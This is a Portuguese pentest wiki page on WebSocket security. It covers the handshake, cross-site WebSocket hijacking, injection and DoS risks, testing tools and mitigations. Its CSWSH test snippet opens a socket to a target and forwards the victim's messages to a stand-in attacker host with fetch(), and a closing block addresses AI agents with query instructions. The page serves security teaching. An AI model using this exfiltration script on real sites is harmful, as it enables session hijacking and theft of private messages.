# WebSockets

## **📋 Índice**

1. [Conceitos Fundamentais](#-conceitos-fundamentais)
2. [Como funciona o WebSocket?](#-como-funciona-o-websocket)
3. [Tipos de Ataques](#-tipos-de-ataques)
4. [Cross-Site WebSocket Hijacking (CSWSH)](#-cross-site-websocket-hijacking-cswsh)
5. [Técnicas de Exploração](#-técnicas-de-exploração)
6. [Detecção e Ferramentas](#-detecção-e-ferramentas)
7. [Mitigação e Prevenção](#-mitigação-e-prevenção)

***

## **🔍 Conceitos Fundamentais**

Diferente do HTTP convencional (Request/Response), o **WebSocket** fornece uma conexão persistente e bidirecional (Full-duplex) entre o cliente e o servidor. Como essa conexão ignora muitas das proteções padrão do navegador (como a política de mesma origem/SOP para o handshake inicial), ela introduz vulnerabilidades únicas.

***

## **🏗️ Como funciona o WebSocket?**

A conexão começa com um **Handshake HTTP** usando o cabeçalho `Upgrade: websocket`.

```http
GET /chat HTTP/1.1
Host: server.com
Upgrade: websocket
Connection: Upgrade
Origin: http://client.com
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
```

Se o servidor aceitar, ele responde com o status `101 Switching Protocols` e a partir daí a conexão TCP permanece aberta para troca de "frames" de dados binários ou texto.

***

## **⚔️ Tipos de Ataques**

### **1. Cross-Site WebSocket Hijacking (CSWSH)**

É o equivalente ao CSRF para WebSockets. O navegador envia automaticamente os cookies de sessão no request de Handshake.

* **O Ataque:** Um site malicioso inicia uma conexão WebSocket para o servidor legítimo. Como o servidor não valida o cabeçalho `Origin`, ele aceita a conexão usando os cookies da vítima.
* **Impacto:** O atacante pode enviar e receber mensagens em nome da vítima através da conexão aberta.

### **2. Falhas de Lógica e Input (Injeção)**

Muitos desenvolvedores assumem que a conexão WebSocket é segura por ser "interna".

* **XSS via WebSocket:** Enviar mensagens maliciosas que são renderizadas no front-end de outros usuários sem sanitização.
* **SQL/NoSQL Injection:** Dados enviados via frames WebSocket que são usados diretamente em queries no back-end.

### **3. Denial of Service (DoS)**

* **Exaustão de Conexões:** Abrir milhares de conexões WebSocket e mantê-las vivas para esgotar os recursos do servidor (máximo de descritores de arquivos).
* **Flood de Mensagens:** Enviar mensagens gigantescas para processamento pesado no servidor.

***

## **🔧 Técnicas de Exploração**

### **1. Testando CSWSH**

Crie um HTML simples hospedado localmente que tenta conectar ao WebSocket do alvo:

```html
<script>
  var ws = new WebSocket('ws://alvo.com/chat');
  ws.onopen = function() {
    ws.send('{"action":"get_private_messages"}');
  };
  ws.onmessage = function(event) {
    fetch('http://attacker.com/log?data=' + event.data);
  };
</script>
```

Se a conexão for estabelecida e você receber dados em seu servidor de log, a aplicação está vulnerável.

### **2. Manipulação de Frames com Burp Suite**

A aba **WebSockets** no Burp Suite permite:

* Interceptar e modificar frames em tempo real.
* Repetir frames específicos (Repeater).
* Automatizar ataques via Intruder (usando extensões específicas).

***

## **🔍 Detecção e Ferramentas**

### **1. Burp Suite Professional**

Possui o melhor suporte para inspeção de tráfego WebSocket, permitindo ver o histórico completo de mensagens trocadas em cada conexão.

### **2. WebSocket King**

Ferramenta online/extensão para testar conexões manuais e enviar payloads JSON/texto de forma rápida.

### **3. OWASP ZAP**

Também possui suporte para intercepção e fuzzer de WebSockets.

***

## **🛡️ Mitigação e Prevenção**

### **1. Validar o Cabeçalho `Origin`**

O servidor **deve** verificar se o cabeçalho `Origin` no handshake inicial pertence a um domínio confiável. Se não pertencer, a conexão deve ser rejeitada com um erro 403.

### **2. Usar Tokens de CSRF no Handshake**

Não dependa apenas de cookies. Inclua um token aleatório na URL de conexão ou em um cabeçalho customizado que o site malicioso não consiga forjar.

### **3. Sanitização Rigorosa**

Trate cada mensagem recebida via WebSocket como uma entrada de usuário não confiável. Aplique a mesma lógica de segurança usada em endpoints REST (validação de tipo, encoding de saída, etc).

### **4. Usar WSS (WebSocket Secure)**

Sempre use `wss://` (WebSocket sobre TLS) para proteger os dados contra interceptação e ataques de Man-in-the-Middle.

***

> \[!WARNING] Muitas ferramentas de segurança (WAFs) de nível de aplicação não conseguem inspecionar o conteúdo de frames WebSocket de forma eficiente, o que torna as falhas de injeção aqui ainda mais críticas.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/rede-and-infraestrutura/websockets.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.